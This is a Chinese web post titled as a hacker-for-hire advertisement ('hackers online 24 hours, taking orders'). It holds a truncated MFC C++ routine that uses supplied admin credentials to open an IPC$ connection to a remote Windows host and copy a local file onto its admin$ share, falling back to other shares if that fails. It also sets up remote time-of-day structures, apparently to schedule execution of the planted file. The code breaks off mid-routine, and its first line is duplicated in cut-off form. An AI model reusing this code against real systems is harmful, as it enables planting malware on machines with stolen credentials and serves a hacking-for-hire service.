黑客24小时在线联系 黑客24小时在线接单

typedef struct TagHost{CString host;CString user;CString pass;CString filename;CString LocalFilePath;CListBox* list;}IPC;void CShareDlg::OnS

typedef struct TagHost{CString host;CString user;CString pass;CString filename;CString LocalFilePath;CListBox* list;}IPC;void CShareDlg::OnStart() 启动线程序{  UpdateData(TRUE);  IPC* ipc = new IPC;  ipc->host = m_host;  ipc->user = m_user;  ipc->pass = m_pass;  ipc->LocalFilePath = m_localfile;  ipc->filename = filename;  ipc->list = &m_list;  AfxBeginThread(ThreadIpcConnect,ipc);}线程/////////////////////////////////////////////////////////////////////////////////////////////////UINT ThreadIpcConnect(LPVOID lpvoid){  IPC* ipc;  CListBox* list;  ipc = (IPC*)lpvoid;  CString host;  CString admin;  CString pass;  CString filename;  CString localfilepath;  host = ipc->host ;  pass = ipc->pass;  admin = ipc->user;  localfilepath = ipc->LocalFilePath;  filename =ipc->filename ;list = ipc->list;  BOOL IpcConnect;  LPTIME_OF_DAY_INFO TimeBuf=NULL;  NET_API_STATUS Status;  CString RemoteFilePath,CmdCom("admin$\\");///////////////////////////////IPC连接////////////////////////////////////////////////////////////////  NETRESOURCE ns;  TCHAR buf[MAX_PATH];  wsprintf(buf,"\\\\%s\\ipc$",host);  ZeroMemory(&ns,sizeof(ns));  ns.dwScope=RESOURCE_GLOBALNET;  ns.dwType=RESOURCETYPE_ANY;  ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;  ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;  ns.lpLocalName="";  ns.lpRemoteName=buf;  ns.lpProvider=NULL;  ns.lpComment=NULL;  CString hhost = host;  IpcConnect =WNetAddConnection2(&ns,pass,admin,0);///建立IPC连接  if(IpcConnect)  {//连接成功后///////////////////////////连接成功上传文件//////////////////////////////////////////////////////////    RemoteFilePath=("\\\\"+host+"\\admin$\\"+filename);    IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);//复制文件到admin$(winnt) 如果复制失败,,向其他共享区复制

  • 发表于 2021-04-10 13:19
  • 阅读 ( 205 )
  • 分类:互联网

0 条评论

请先 登录 后评论
解黑jja
解黑jja

716 篇文章

你可能感兴趣的文章

相关问题